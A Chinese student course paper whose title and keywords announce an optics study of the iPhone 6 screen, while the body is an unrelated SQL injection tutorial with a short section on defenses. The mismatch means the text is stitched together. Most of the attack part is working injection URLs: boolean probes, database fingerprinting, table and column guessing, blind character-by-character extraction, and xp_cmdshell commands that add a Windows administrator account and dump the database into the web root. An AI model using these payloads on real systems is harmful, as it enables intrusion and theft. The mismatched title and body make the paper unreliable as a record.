光学 课程论文论文题目:浅析iPhone6屏幕的宣传卖点学 生 院 系 : 物理 学 生 姓 名 : 何翀 学 生 学 号 : 10014312 浅析iPhone6屏幕的宣传卖点摘 要关键词: 双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;目 录引 言 41 SQL注入过程 41.1判断是否可以攻击 41.1.1输入为数字时: 41.1.2输入为字符串时: 41.2判断数据库类型 51.2.1对于IIS未关闭的 51.2.2对于IIS不返回错误信息的 51.3判断数据类型 51.4猜测表名 61.5猜测列名 61.6得到数据 61.7直接获得用户名及密码 72.SQL注入防范 72.1客户端 72.2加密 72.3 IIS的限制 72.4 IIS权限的分配 8结 语 8[参考文献] 8引 言 计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的SQL注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。
现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为1 SQL注入过程1.1判断是否可以攻击首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础比如说形如一个http://example/mainView/show.asp?ID=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试1.1.1输入为数字时:通过经典的1,2测试法,我们可以这样做不添加任何内容http://example/mainView/show.asp?ID=123;不报错添加and 1=1这样就变成了http://example/mainView/show.asp?ID=123 and1=1;不报错添加and 1=2 这样就变成了http://example/mainView/show.asp?ID=123 and 1=2;报错1.1.2输入为字符串时:末尾添加一个‘,这样就变成了http://example/mainView/show.asp?ID=123’;报错 添加‘and ’1‘=‘1这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1=1;不报错 添加‘and ’1‘=‘2这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1=2;报错当这两个条件均满足时,我们可以知道show.asp不存在安全检测机制,因此可以得到我们show.asp是存在漏洞的。
判断出这部分内容是可以实行sql注入时,我们可以进行下属步骤1.2判断数据库类型在和asp搭配的网站中,大多数采用的是access和sqlserver两种数据库,故这里我们不讨论mysql这种类型的1.2.1对于IIS未关闭的我们可以根据系统变量来判断,对于sqlserver数据库,其中存在一些系统变量,比如说user,利用这点,可以执行以下语句http://example/mainView/show.asp?ID=123 and user>0;我们需要解释以下,user存储的是当前连接的用户名,类型为nvarchar的,结果可想而知,我们将两个 同类型的进行比较,那么系统首先会将nvarchar 的值转换为int,转换不成功,抛出错误,之后我们分析得到的错误信息:将userName(用户名)转换为int失败,这样,我们不仅判断出了这是sqlserver数据库,同时知道了用户名为userName对于ACCESS数据库,我们只需要简单的在最后添加一个‘即可 http://example/mainView/show.asp?ID=123‘如果返回Microsoft JET Database Engine 错误 80040e14,说明存在字符串语法错误,从中我们看出在show.asp 行8存在错误,从这个错误我们可以看出这个网站采用的是ACCESS数据库1.2.2对于IIS不返回错误信息的我们可以根据系统表来判断:Sqlserve的系统表为sysobjects,access的系统表为msysobjects 所以我们这样判断http://example/mainView/show.asp?ID=123 and (select count(*) from sysobjects)>0http://example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)>0由于access数据库在web环境下访问msysobjects是没有权限的。
因此不论是哪一种情况,总是会返回错误信息,所以如果页面访问正常,那么可以判断是Sqlserver数据库,如果不正常,有错误信息,则为access数据库1.3判断数据类型在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即keyword它的查询语句大概是这个样子的:Select * from tableName where keyword like ‘%关键字%‘;所以我们可以注入keyword=‘ and whatYouWant and ‘%’=’, 这样SQL语句就变成了Select * from 表名 where字段like ‘%’ and whatYouWant and ‘%’=’%’;其中whatYouWant就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测表名1.4猜测表名方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表名)>0如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则不存在这个表名,反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如说图书管理系统,我们会猜测book,borrower等名称1.5猜测列名方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得到的表名)>0,反复这个过程,得到列名1.6得到数据假设我们已经得到了表名和列名,得到数据的思路如下,先得到top 1的长度,之后判断每一位的ASCII,具体实现如下:判断长度:http://example/mainView/show.asp?ID=123 and (select top 1 len(列名) from 表名)>n;将n换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说>4正确,>5错误,那么这个长度就是为5,之后我们要得到每个字符对应的是什么http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,m,1)))>Asn,的m为第几个字符,它是小于等于我们刚才得到的n的,Asn为ascii的值,由于数字和字母在1~128之间,例如http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,2,1)))=39;我们可以得到第二个字符是9因此通过这个方法,我们可以得到每一个字符的ascII,从而得到数据,这个工作大量重复且繁琐,自己做,算了吧,写一个小程序。
很快就搞定了1.7直接获得用户名及密码这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法主要是针对SQLserver数据库的,由于SQLserver和操作系统有紧密联系,如果当期的连接具有sa权限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出)正确执行(虽然在sqlserver2005中默认是关闭的),那么我们就很容易控制PC,操作步骤如下:http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell “net user namepassword/add”--可以直接增加操作系统帐户name密码为password http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell“net localgroup name administrators /add”-- 把刚刚增加的帐户user加到administrators组中http://example/mainView/show.asp?ID=123;backuup database 数据库名to disk=c:\inetpub\wwwroot\save.db 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载数一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; 2.SQL注入防范通过上述论述,我们了解了sql注入的过程,针对过程,我们发现,主要可以从以下几点进行防范2.1客户端在构造动态sql语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞,因此在检查用户输入时,如果遇到select exec xp_cmdshell时,应该立即停止asp,并将页面至于出错状态。
2.2加密当然加密是很重要的,我们可以采取一些加密算法,例如md5,rsa,des等,来阻止你获得密码2.3 IIS的限制在sql注入过程中,iis的返回信息无疑是最大的帮凶,因此,对于iis的管理员,可以不管是什么样的错误,都设置成同一种错误返回回来,这样,就可以避免不法分子通过放回错误来达到目的,但是这样做的结果会增加程序员的负荷,程序员不知道是什么除了错,因此对于修正错误会有影响2.4 IIS权限的分配尽量给web最低权限,如果web只涉及到某几张表,那么只给他这几张表的访问权限,如果有修改操作,将update权限给它,总之它需要什么,我们提供给他什么,其余的不会给结 语Sql注入在国内日渐成熟,不法分子越来越多,我们的私人信息面临威胁,因此作为将来要从事软件开发的人员,我觉的我们有必要对这种安全漏洞进行彻底的分析,尽量减少它对我们客户的影响,有一个想法,是这样的,我认为我们可以设置一些虚假的用户名,密码,看似具有管理员权限,实则没有,同时,我们在检测用户输入时候对于那些非法的类似select,xp_cmdshell等输入,我们可以监视这个ip,掌握对方的作案动机,从而将这个不法分子揪出来。
[参考文献] [1]51cto SQL注入攻击与防御 [EB/OL] [2010-09-14] [2]baidu SQL注入攻击的原理及其防范措施 [EB/OL] [ 2008-12-12][3] wiki SQL注入攻击 [EB/OL] http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A [2012-11-19]。